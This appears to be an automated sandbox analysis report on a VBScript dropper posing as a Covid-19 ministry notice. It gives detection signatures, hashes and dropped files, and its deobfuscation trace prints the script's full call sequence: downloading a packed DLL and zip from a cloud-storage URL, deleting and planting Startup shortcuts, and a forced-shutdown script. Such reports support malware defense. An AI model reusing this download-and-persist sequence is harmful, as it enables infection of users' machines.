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Analysis Report Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs

Overview

General Information

Sample Name:	Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs
Analysis ID:	348031
MD5:	a7eaefeac82a762678b254c38f72a5a0
SHA1:	972982331616263fcb28fab209b150c6365068d7
SHA256:	7f3cd558f1963d4edf18c46b39a45ffc3d83257bd82ecf80e87e10c4cb1efba1
Most interesting Screenshot:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Benign windows process drops PE files

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

VBScript performs obfuscated calls to suspicious functions

Detected VMProtect packer

Potential evasive VBS script found (sleep loop)

Potential malicious VBS script found (has network functionality)

Windows Shell Script Host drops VBS files

Abnormal high CPU Usage

Contains capabilities to detect virtual machines

Creates a start menu entry (Start Menu\Programs\Startup)

Drops PE files

Entry point lies outside standard sections

Found WSH timer for Javascript or VBS script (likely evasive script)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains more sections than normal

PE file contains sections with non-standard names

Stores files to the Windows start menu directory

Classification

Startup

System is w10x64

wscript.exe (PID: 4664 cmdline: C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs

Virustotal: Detection: 25%

Perma Link

Networking:

Potential malicious VBS script found (has network functionality)

Show sources

Source:	Initial file: .write TMLZSYWALNTVQGJRIS.responseBody
Source:	Initial file: .savetofile ZMNNTJFZFZPMFFJJGZ, 2
Source:	Initial file: .write EQMZPDJEPZWCUYLROL.responseBody
Source:	Initial file: .savetofile PMEOGLBUDQNCTSPSVQ, 2

Source: Joe Sandbox View	IP Address: 8.8.8.8 8.8.8.8
Source: Joe Sandbox View	IP Address: 8.8.8.8 8.8.8.8

Source: Joe Sandbox View

ASN Name: GOOGLEUS GOOGLEUS

Source: wscript.exe	String found in binary or memory: https://storage.googleapis.com/mystorage2021/0.zip
Source: wscript.exe	String found in binary or memory: https://storage.googleapis.com/mystorage2021/P-4-17.dll

System Summary:

Detected VMProtect packer

Show sources

Source: P-4-17[1].dll.0.dr

Static PE information: .vmp0 and .vmp1 section names

Source: C:\Windows\System32\wscript.exe

Process Stats: CPU usage > 98%

Source: Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs

Initial sample: Strings found which are bigger than 50

Source: P-4-17[1].dll.0.dr

Static PE information: Number of sections : 13 > 10

Source: classification engine

Classification label: mal88.evad.winVBS@1/6@0/2

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\uwqybklmrhw.vbs

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs'

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs

Virustotal: Detection: 25%

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Data Obfuscation:

VBScript performs obfuscated calls to suspicious functions

Show sources

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell")WScript.Sleep(300000)Set OpSysSet = GetObject("winmgmts:{authenticationlevel=Pkt," _& "(Shutdown)}").ExecQuery("select * from Win32_OperatingSystem where "_& "Primary=true")for each OpSys in OpSysSetretVal = OpSys.Win32Shutdown(6)nextIHost.CreateObject("Wscript.Shell");IWshShell3.SpecialFolders("AppData");IFileSystem3.CreateTextFile("C:\Users\user\AppData\Roaming\uwqybklmrhw.vbs", "true");ITextStream.Write("Set MHSXIMOJBNEVEHMHPM = CreateObject("WScript.Shell")");ITextStream.Write("WScript.Sleep(300000)");ITextStream.Write("Set OpSysSet = GetObject("winmgmts:{authenticationlevel=Pkt," _");ITextStream.Write("& "(Shutdown)}").ExecQuery("select * from Win32_OperatingSystem where "_");ITextStream.Write("& "Primary=true")");ITextStream.Write("for each OpSys in OpSysSet");ITextStream.Write("retVal = OpSys.Win32Shutdown(6)");ITextStream.Write("next");ITextStream.Close();IWshShell3.SpecialFolders("StartUp");IFileSystem3.DeleteFile("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\*.lnk", "true");IWshShell3.SpecialFolders("StartUp");IFileSystem3.DeleteFile("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\*.vbs", "true");IWshShell3.SpecialFolders("AppData");IFileSystem3.CreateFolder("C:\Users\user\AppData\Roaming\76941835522651");IWshShell3.SpecialFolders("AppData");IWshShell3.SpecialFolders("AppData");IServerXMLHTTPRequest2.open("GET", "https://storage.googleapis.com/mystorage2021/0.zip", "false");IServerXMLHTTPRequest2.send();_Stream.Type("1");_Stream.Open();IServerXMLHTTPRequest2.responseBody();_Stream.Write("Unsupported parameter type 00002011");_Stream.SaveToFile("C:\Users\user\AppData\Roaming\0.zip", "2");IServerXMLHTTPRequest2.open("GET", "https://storage.googleapis.com/mystorage2021/P-4-17.dll", "false");IServerXMLHTTPRequest2.send();_Stream.Type("1");_Stream.Open();IServerXMLHTTPRequest2.responseBody();_Stream.Write("Unsupported parameter type 00002011");_Stream.SaveToFile("C:\Users\user\AppData\Roaming\76941835522651\uwnxheepqiputvsut3285467922686.dll", "2");IHost.CreateObject("Wscript.Shell");IWshShell3.SpecialFolders("StartUp");IHost.CreateObject("WScript.Shell");IWshShell3.CreateShortcut("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xsjfpdeuwh .lnk");IWshShortcut.TargetPath("rundll32");IWshShortcut.Arguments(" C:\Users\user\AppData\Roaming\76941835522651\uwnxheepqiputvsut3285467922686.dll mJ8Lf9v0GZnptOVNb2I");IWshShortcut.WindowStyle("1");IWshShortcut.WorkingDirectory("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xsjfpdeuwh");IWshShortcut.Save();IFileSystem3.OpenTextFile("C:\Users\user\AppData\Roaming\uwqybklmrhw.vbs");ITextStream.ReadAll();ITextStream.Close();IHost.Sleep("300000");ISWbemServicesEx.ExecQuery("select * from Win32_OperatingSystem where Primary=true");ISWbemObjectSet._NewEnum();ISWbemObjectEx._01000001("6")

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp1

Source: P-4-17[1].dll.0.dr	Static PE information: section name: .didata
Source: P-4-17[1].dll.0.dr	Static PE information: section name: .vmp0
Source: P-4-17[1].dll.0.dr	Static PE information: section name: .vmp1

Persistence and Installation Behavior:

Windows Shell Script Host drops VBS files

Show sources

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\uwqybklmrhw.vbs

Jump to behavior

Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Roaming\76941835522651\uwnxheepqiputvsut3285467922686.dll			Jump to dropped file
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\P-4-17[1].dll			Jump to dropped file

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xsjfpdeuwh .lnk

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xsjfpdeuwh .lnk

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Potential evasive VBS script found (sleep loop)

Show sources

Source: Initial file	Initial file: WQSJXTVOJHEDXTCPRI.Write "WScript.Sleep(300000)" & vbCrLf
Source: C:\Windows\System32\wscript.exe	Dropped file: WScript.Sleep(300000)			Jump to dropped file

Source: C:\Windows\System32\wscript.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\wscript.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\76941835522651\uwnxheepqiputvsut3285467922686.dll			Jump to dropped file
Source: C:\Windows\System32\wscript.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\P-4-17[1].dll			Jump to dropped file

HIPS / PFW / Operating System Protection Evasion:

Benign windows process drops PE files

Show sources

Source: C:\Windows\System32\wscript.exe

File created: P-4-17[1].dll.0.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\System32\wscript.exe

Network Connect: 172.217.23.16 187

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting421	Startup Items1	Startup Items1	Masquerading1	OS Credential Dumping	Query Registry1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Data Obfuscation	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution1	Registry Run Keys / Startup Folder2	Process Injection1	Virtualization/Sandbox Evasion1	LSASS Memory	Security Software Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	PowerShell1	Logon Script (Windows)	Registry Run Keys / Startup Folder2	Process Injection1	Security Account Manager	Virtualization/Sandbox Evasion1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Scripting421	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information1	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs	25%	Virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
8.8.8.8	unknown	United States		15169	GOOGLEUS	false
172.217.23.16	unknown	United States		15169	GOOGLEUS	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	348031
Start date:	03.02.2021
Start time:	16:13:42
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 35s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Comuinicado-Covid19-Min-Saude-CGC-29-01-21-136.vbs
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.evad.winVBS@1/6@0/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .vbs
Warnings:	Show All Max analysis timeout: 720s exceeded, the analysis took too long Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, RuntimeBroker.exe, backgroundTaskHost.exe, UsoClient.exe, audiodg.exe, BackgroundTransferHost.exe, rundll32.exe, WMIADAP.exe, MusNotifyIcon.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:15:14	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xsjfpdeuwh .lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
8.8.8.8	BadStuff.js	Get hash	malicious	Browse	8.8.8.8/SlvMWdIEW62C9c
	BadStuff.js	Get hash	malicious	Browse	8.8.8.8/CTM5wttwLFcLdHfVk
	33payment advice.exe	Get hash	malicious	Browse	www.zulinfang.mobi/fu/?id=i07vHMa0svfKfxE6I3aRHA3lctcdYaT9x0iZT9MH0oRhMFPgh9mSEtNU17XFCBgMQA4XWErQDlzTwB-AplygzQ..
	37documents.exe	Get hash	malicious	Browse	www.tasteofunexpected.com/tf/?id=y6IrbpvfhkYfQXXyqC8dooAvfrv2e2apV7igF70LYGyF4OCvwj5JxRVBdRghvKGGuc_KsFbnbWPC0Def
	63AWB 043255.exe	Get hash	malicious	Browse	www.serikatsaudagarnusantara.com/ed/?id=kIz4OnF7tHMqdv1cSepeHoY02Vsws5yCI7zf8DN1pvMb9hdHFpZX44eSyhzXC7u5icfl1yYYsvfyl6we
	d62c.exe	Get hash	malicious	Browse	www.epckednilm.info/fu/?id=i07vHMa0svfKfxE6I3aRHA3lctcdYaT9x0iZT9MH0oRhMFPgh9mSEtNU17XFCBgMQA4XWErQDlzTwB-AplygzQ..
	27TTcopyMT107-36000_payment.exe	Get hash	malicious	Browse	www.watchsummer.com/tr/?id=oqCXvgIUiCxPFtn1J0rb33q5mpSH48Vd1XRAfBxi4MgNDwsdTt0dcXb5dgzj2vPAuld1RDreAlRWWLP9Xot16w..&sql=1
	download_adobeflashplayer_install_9_.exe	Get hash	malicious	Browse	wetr34.sitesled.com/wind.jpg
	INV-000524.vbs	Get hash	malicious	Browse	naturofind.org/p66/JIKJHgft
	177Purchase Order.exe	Get hash	malicious	Browse	www.phutungototp.com/ho/?id=y3T6nEBciedL7htO4xn1ZYijVAw7sJXLjwubagvJUtMFVf7aOWPSa_Bl5i178f_EjROvybrSr7PC3267XbUsBg..
	8Order Inquiry.exe	Get hash	malicious	Browse	www.quyuar.com/dr/?id=gCqdDQsh4d7ynFKSj09V1Y12J91NTUfM9LddDKzxEGHO7R4ogEQ3AGAU2DRYiF_Nduo4Rd-EW24x-O38aOud_g..
	27Tobye.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	11Marena.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	39Harriot.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	1Vida.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	43Colleen.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	67Roxanne.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	15Winnah.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	33Elfrida.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin
	25Cornelle.js	Get hash	malicious	Browse	my.internaldating.ru/js/boxun4.bin

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
GOOGLEUS	3434355455453456789998765.exe	Get hash	malicious	Browse	34.102.136.180
	KROS Sp. z.o.o.exe	Get hash	malicious	Browse	216.58.207.179
	Y2ZSOp1zrg.xls	Get hash	malicious	Browse	34.102.136.180
	KROS Sp. z.o.o.exe	Get hash	malicious	Browse	34.102.136.180
	CONSTANTINE.xlsx	Get hash	malicious	Browse	172.217.23.34
	rcx41011_exe.exe	Get hash	malicious	Browse	34.102.136.180
	VESSEL SPECIFICATION.exe	Get hash	malicious	Browse	34.102.136.180
	SecuriteInfo.com.BehavesLike.Win32.Emotet.jc.exe	Get hash	malicious	Browse	34.91.83.82
	Document0098.html	Get hash	malicious	Browse	172.217.22.226
	myk.exe	Get hash	malicious	Browse	8.8.8.8
	com.upc.horizon.phone-3.1.2-sameapk.com.apk	Get hash	malicious	Browse	172.217.20.227
	ETD 4.2 INOVOICE, PACKING LIST.xlsx	Get hash	malicious	Browse	34.102.136.180
	RFQ SECO WARWICK Germany.doc	Get hash	malicious	Browse	34.102.136.180
	po.exe	Get hash	malicious	Browse	34.102.136.180
	ships documents.xlsx	Get hash	malicious	Browse	34.102.136.180
	PO71109.EXE	Get hash	malicious	Browse	34.98.99.30
	HKJC_AOSBS_PROD_L1.29R1D_Build6206 (1).apk	Get hash	malicious	Browse	172.217.22.206
	HKJC_AOSBS_PROD_L1.29R1D_Build6206 (1).apk	Get hash	malicious	Browse	172.217.22.206
	Shinshin Machinery Co., Ltd.exe	Get hash	malicious	Browse	34.102.136.180
	_#Ud83d#Udcde_9173.htm	Get hash	malicious	Browse	172.217.23.1
GOOGLEUS	3434355455453456789998765.exe	Get hash	malicious	Browse	34.102.136.180
	KROS Sp. z.o.o.exe	Get hash	malicious	Browse	216.58.207.179
	Y2ZSOp1zrg.xls	Get hash	malicious	Browse	34.102.136.180
	KROS Sp. z.o.o.exe	Get hash	malicious	Browse	34.102.136.180
	CONSTANTINE.xlsx	Get hash	malicious	Browse	172.217.23.34
	rcx41011_exe.exe	Get hash	malicious	Browse	34.102.136.180
	VESSEL SPECIFICATION.exe	Get hash	malicious	Browse	34.102.136.180
	SecuriteInfo.com.BehavesLike.Win32.Emotet.jc.exe	Get hash	malicious	Browse	34.91.83.82
	Document0098.html	Get hash	malicious	Browse	172.217.22.226
	myk.exe	Get hash	malicious	Browse	8.8.8.8
	com.upc.horizon.phone-3.1.2-sameapk.com.apk	Get hash	malicious	Browse	172.217.20.227
	ETD 4.2 INOVOICE, PACKING LIST.xlsx	Get hash	malicious	Browse	34.102.136.180
	RFQ SECO WARWICK Germany.doc	Get hash	malicious	Browse	34.102.136.180
	po.exe	Get hash	malicious	Browse	34.102.136.180
	ships documents.xlsx	Get hash	malicious	Browse	34.102.136.180
	PO71109.EXE	Get hash	malicious	Browse	34.98.99.30
	HKJC_AOSBS_PROD_L1.29R1D_Build6206 (1).apk	Get hash	malicious	Browse	172.217.22.206
	HKJC_AOSBS_PROD_L1.29R1D_Build6206 (1).apk	Get hash	malicious	Browse	172.217.22.206
	Shinshin Machinery Co., Ltd.exe	Get hash	malicious	Browse	34.102.136.180
	_#Ud83d#Udcde_9173.htm	Get hash	malicious	Browse	172.217.23.1

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\P-4-17[1].dll Download File
Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	151412224
Entropy (8bit):	7.823842292259337
Encrypted:	false
SSDEEP:	3145728:7Z78cykc8WAcIpyIZU98DtGSKeUIicJA:7rykc+cIpyIxDtGat
MD5:	63FF05C279EDE90B6A7A09DA944B7003
SHA1:	62E4CB3BF6EE51CB6746BB717E04F60A1E3125D4
SHA-256:	6A3A36AF2FB89D913230D0F58BD4C7E6DC9AF5C25A3280B6CA2B920E8A3954A2
SHA-512:	D6B1B6F9ACFA3786EA2D5FEF43233548B34CACFA35202EBCEEFFAE1EA09FE5B347B437BFB22CECE155637FB84CFD6EDFDB3372C0CD586B5434263BA5A6664530
Malicious:	false
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....,.`.................V&...,.....U.f......p&...@...........................o.....................................02h.......g.@.....G.8.'...................G.\|...........................`.e. .....................f.......'.h....................text....>&......................... ..`.itext.......P&..................... ..`.data........p&.....................@....bss....tb...@'..........................idata...4....'.....................@....didata.h.....'.....................@....edata........(.....................@..@.rdata..E.....(.....................@..@.vmp0...+Q... (.....................`....tls..........A.....................@....vmp1...?F....A..H..................`....reloc..\|.....G......N..............@..@.rsrc...8.'...G.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\0[1].zip Download File
Process:	C:\Windows\System32\wscript.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	5604547
Entropy (8bit):	7.9999658588506986
Encrypted:	true
SSDEEP:	98304:d9S705s0m5QhjG5QpiuPreyiI8zRvE5hr1obzUh+AjLI9vekpRqr2n:DR5s0ma1tbrmI4agzw+Ajk9vezrK
MD5:	F6F9C197DE97000E33113089993889A8
SHA1:	9EF214E6077BAF24057AE37DC971C4D80DB983C4
SHA-256:	88643A7FC5653791841207C713EA290A1D0A0264B37A7D3B031815E52211BB09
SHA-512:	B9584A343544ADC8A4707DE198FE3FE83AE5C7C9B52C73743EACBEE2F867E4A716EBB89135B2E7E9C46506DD9EEF1A2B1BF0ECD8EDB1C1F5B4DD5F2C97DD3C5E
Malicious:	false
Reputation:	low
Preview:	PK..........8R..+..U...Y.'................<.)...............B\.o..J.~..8.4.z.H.."qF...(...&.....t[,^(^..5...#QJ.Kk..9.....P.....9..MQ...~.>.z..98.q......o.......y.gA.(w......>.l".p..1.Ts...h...w..%...<..0Q=..y._...O4x......1.z..i'Z0..{...>).Yla......"...c....d....$7L#w....8.p#Zz.h.M..F.c.r.+.p..:!.CC..L.....C.v.#..........^d/N.h.`...O...g.b0[T..Ou..l.S..Q..{..-^n....Jo.R....u............C?...E.P..x.R_.9C..\....pYy.{.w...Y...UL..z..M.J8...[W.>N../.=a.FP.N.K.,.?}...bs.....S,..^..%......O?+...9.d.....(A.-l.....8.[...0...x..=...5...&...^t..0 ...(...%.R$.....Xq..0.!..w..q....<...........'.....lSI.C.g.E..$.(D..8.K..L..S]f.s...X...tMy.`ei.....7;j.!i.=......#....].)...s.g7...f.......^..)....C..C8...~..P..\|.D..g%.j.G.~..L...{.y.3.T."B..M....`...zE.`.Yj........y...........E..Q...$./.E_.YV..bS...Q..j..i.4`.w..Q..7.Q.q\v..}.......<4.P.6#M.3.....J.C.?.[}..N..K.,.v.\|.....b....].W%.E......R.@..sh>S....w..#.3.Y.<.....]l.

C:\Users\user\AppData\Roaming\0.zip Download File
Process:	C:\Windows\System32\wscript.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	5604547
Entropy (8bit):	7.9999658588506986
Encrypted:	true
SSDEEP:	98304:d9S705s0m5QhjG5QpiuPreyiI8zRvE5hr1obzUh+AjLI9vekpRqr2n:DR5s0ma1tbrmI4agzw+Ajk9vezrK
MD5:	F6F9C197DE97000E33113089993889A8
SHA1:	9EF214E6077BAF24057AE37DC971C4D80DB983C4
SHA-256:	88643A7FC5653791841207C713EA290A1D0A0264B37A7D3B031815E52211BB09
SHA-512:	B9584A343544ADC8A4707DE198FE3FE83AE5C7C9B52C73743EACBEE2F867E4A716EBB89135B2E7E9C46506DD9EEF1A2B1BF0ECD8EDB1C1F5B4DD5F2C97DD3C5E
Malicious:	true
Reputation:	low
Preview:	PK..........8R..+..U...Y.'................<.)...............B\.o..J.~..8.4.z.H.."qF...(...&.....t[,^(^..5...#QJ.Kk..9.....P.....9..MQ...~.>.z..98.q......o.......y.gA.(w......>.l".p..1.Ts...h...w..%...<..0Q=..y._...O4x......1.z..i'Z0..{...>).Yla......"...c....d....$7L#w....8.p#Zz.h.M..F.c.r.+.p..:!.CC..L.....C.v.#..........^d/N.h.`...O...g.b0[T..Ou..l.S..Q..{..-^n....Jo.R....u............C?...E.P..x.R_.9C..\....pYy.{.w...Y...UL..z..M.J8...[W.>N../.=a.FP.N.K.,.?}...bs.....S,..^..%......O?+...9.d.....(A.-l.....8.[...0...x..=...5...&...^t..0 ...(...%.R$.....Xq..0.!..w..q....<...........'.....lSI.C.g.E..$.(D..8.K..L..S]f.s...X...tMy.`ei.....7;j.!i.=......#....].)...s.g7...f.......^..)....C..C8...~..P..\|.D..g%.j.G.~..L...{.y.3.T."B..M....`...zE.`.Yj........y...........E..Q...$./.E_.YV..bS...Q..j..i.4`.w..Q..7.Q.q\v..}.......<4.P.6#M.3.....J.C.?.[}..N..K.,.v.\|.....b....].W%.E......R.@..sh>S....w..#.3.Y.<.....]l.

C:\Users\user\AppData\Roaming\76941835522651\uwnxheepqiputvsut3285467922686.dll Download File
Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	151412224
Entropy (8bit):	7.823842292259337
Encrypted:	false
SSDEEP:	3145728:7Z78cykc8WAcIpyIZU98DtGSKeUIicJA:7rykc+cIpyIxDtGat
MD5:	63FF05C279EDE90B6A7A09DA944B7003
SHA1:	62E4CB3BF6EE51CB6746BB717E04F60A1E3125D4
SHA-256:	6A3A36AF2FB89D913230D0F58BD4C7E6DC9AF5C25A3280B6CA2B920E8A3954A2
SHA-512:	D6B1B6F9ACFA3786EA2D5FEF43233548B34CACFA35202EBCEEFFAE1EA09FE5B347B437BFB22CECE155637FB84CFD6EDFDB3372C0CD586B5434263BA5A6664530
Malicious:	true
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....,.`.................V&...,.....U.f......p&...@...........................o.....................................02h.......g.@.....G.8.'...................G.\|...........................`.e. .....................f.......'.h....................text....>&......................... ..`.itext.......P&..................... ..`.data........p&.....................@....bss....tb...@'..........................idata...4....'.....................@....didata.h.....'.....................@....edata........(.....................@..@.rdata..E.....(.....................@..@.vmp0...+Q... (.....................`....tls..........A.....................@....vmp1...?F....A..H..................`....reloc..\|.....G......N..............@..@.rsrc...8.'...G.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xsjfpdeuwh .lnk Download File
Process:	C:\Windows\System32\wscript.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, Has command line arguments, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	3.523918548380025
Encrypted:	false
SSDEEP:	12:8Ql0nm/3BVSXzt1Wl/W+fTWl13qMJsW+jCRAbjMQ3qMJvGUHvku9lpoliNL4t2YS:8q/BuUl++fCl1tyjCyjMQtnB9MI57aB
MD5:	31AFED11275408F1624DAD76322C3B74
SHA1:	B76FA61D3D7BD1750BF2734456AC9B9745502A3B
SHA-256:	583C71233DFAE3B6EECD318AB9B7C1BD6B04C22D0B8B7D9B7A1E208360E40607
SHA-512:	86BA41058D8DBE62051CF4B90E912A1FB28EABEE9364D17C038C0B246C0383A2C407AF1ADEB6407493A9E49D707B159E70AF39F24F0DB843088498A27B30DC19
Malicious:	true
Reputation:	low
